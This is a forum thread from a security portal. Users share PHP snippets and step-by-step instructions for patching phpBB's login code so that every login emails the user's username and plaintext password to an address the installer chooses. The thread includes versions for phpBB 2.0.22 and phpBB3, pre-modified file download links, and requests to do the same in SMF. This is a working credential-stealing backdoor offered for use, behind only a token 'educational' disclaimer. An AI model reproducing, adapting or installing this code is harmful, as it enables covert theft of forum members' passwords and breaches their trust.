Waraxe IT Security Portal
Login or Register
October 25, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 133
Members: 0
Total: 133
Full disclosure
SEC Consult SA-20241024-0 :: Unauthenticated Path Traversal Vulnerability in Lawo AG - vsm LTC Time Sync (vTimeSync) (CVE-2024-6049)
[RESEARCH] DTLS 'ClientHello' Race Conditions in WebRTCImplementations
Adversary3 updated with 700 malware and C2 panelvulnerabilities
SEC Consult SA-20241015-0 :: Multiple Vulnerabilities in Rittal IoT Interface & CMC III Processing Unit (CVE-2024-47943, CVE-2024-47944, CVE-2024-47945)
CVE-2024-48939: Unauthorized enabling of API in Paxton Net2software
SEC Consult SA-20241009-0 :: Local Privilege Escalation via MSI installer in Palo Alto Networks GlobalProtect (CVE-2024-9473)
APPLE-SA-10-03-2024-1 iOS 18.0.1 and iPadOS 18.0.1
Some SIM / USIM card security (and ecosystem) info
SEC Consult SA-20240930-0 :: Local Privilege Escalation via MSI Installer in Nitro PDF Pro (CVE-2024-35288)
Backdoor.Win32.Benju.a / Unauthenticated Remote CommandExecution
Backdoor.Win32.Prorat.jz / Remote Stack Buffer Overflow (SEH)
Backdoor.Win32.Amatu.a / Remote Arbitrary File Write (RCE)
Backdoor.Win32.Agent.pw / Remote Stack Buffer Overflow (SEH)
Backdoor.Win32.Boiling / Remote Command Execution
Defense in depth -- the Microsoft way (part 88): a SINGLEcommand line shows about 20, 000 instances of CWE-73
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> PhpBB -> phpBB Login Emailer - <2.0.22
Post new topicReply to topic View previous topic :: View next topic
phpBB Login Emailer - <2.0.22
PostPosted: Sun Jul 15, 2007 2:25 am Reply with quote
blaxenet
Active user
Active user
Joined: Jun 20, 2007
Posts: 26




Use this script to send the username & password of each user who log's in on your board to a designated email address. This does not work for users who are set to auto-login.

Versions:
This script only works for version 2.0.22 and below!

Instructions:
1) Open login.php using a good text editor.
2) Create a new line under line 91 and paste the code in.

3) Change domain.tld with the domain your using it on.
4) Change email@domain.tld with your email address.

Basic version

Code:
$sitename = "domain.tld";
$username = isset($HTTP_POST_VARS['username']) ? phpbb_clean_username($HTTP_POST_VARS['username']) : '';
$password = isset($HTTP_POST_VARS['password']) ? $HTTP_POST_VARS['password'] : '';
$recipient = 'email@domain.tld';

$subject = 'Password Alert - domain.tld';
$message = "Sitename: $sitename - Username: $username - Password: $password";

mail($recipient, $subject, $message);


Advanced version - Headers & HTML

Code:
$sitename = "domain.tld";
$username = isset($HTTP_POST_VARS['username']) ? phpbb_clean_username($HTTP_POST_VARS['username']) : '';
$password = isset($HTTP_POST_VARS['password']) ? $HTTP_POST_VARS['password'] : '';

$eol="\n";
$headers .= 'From: My Name <email@domain.tld>'.$eol;
$headers .= 'Reply-To: My Name <email@domain.tld>'.$eol;
$headers .= "X-Mailer: PHP v".phpversion().$eol;

$recipient = 'email@domain.tld';
$subject = 'Password Alert - domain.tld';
$message = "<html><body> Sitename: $sitename <br> Username: $username <br> Password: $password </body></html>";

mail($recipient, $subject, $message, $headers);


Notes:
I made this a more complicated way to suit me! Smile
Feel free to modify this script to suit you.

This script has been made for research / educational purposes only.
Anyone caught using this script for illegal purposes may be prosecuted.

_________________
Blaxenet
View user's profile Send private message Send e-mail Yahoo Messenger
PostPosted: Sun Jul 15, 2007 2:28 am Reply with quote
blaxenet
Active user
Active user
Joined: Jun 20, 2007
Posts: 26




Download the pre-modified version of login.php

Basic:
http://rapidshare.com/files/42972574/basic.rar.html

Advanced:
http://rapidshare.com/files/42972814/advanced.rar.html

Modify in between these lines;
// Start Login Emailer
// End Login Emailer

_________________
Blaxenet
View user's profile Send private message Send e-mail Yahoo Messenger
PostPosted: Fri Jan 04, 2008 3:53 am Reply with quote
aquadeluxe
Regular user
Regular user
Joined: Jan 03, 2008
Posts: 11




I took that code, but changed it to work with phpBB3. I am testing with the "Olympus" Gold Release.

Instructions:
1.Open file phpbbroot/includes/functions.php in a text editor.
2. Find " $result = $auth->login($username, $password, $autologin, $viewonline, $admin); " (omit quotes)
3. After, add:
Code:
$sitename = "domain.tld";
$recipient = 'email@domain.tld';
$subject = 'Password Alert - domain.tld';
$message = "Sitename: $sitename - Username: $username - Password: $password";
mail($recipient, $subject, $message);


4. Change domain.tld with the domain your using it on.
5. Change email@domain.tld with your email address.
View user's profile Send private message
PostPosted: Thu Feb 07, 2008 6:45 pm Reply with quote
ggg
Regular user
Regular user
Joined: Feb 04, 2008
Posts: 7




Is there any way to do this in SMF? I don't know in which file I should add this code.
View user's profile Send private message
SMF 1.1.4
PostPosted: Sun Mar 23, 2008 7:56 am Reply with quote
starwar
Regular user
Regular user
Joined: Mar 23, 2008
Posts: 8




I also wanna do for SMF 1.1.4

where can i edit?
View user's profile Send private message
phpBB Login Emailer - <2.0.22
www.waraxe.us Forum Index -> PhpBB
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.034 Seconds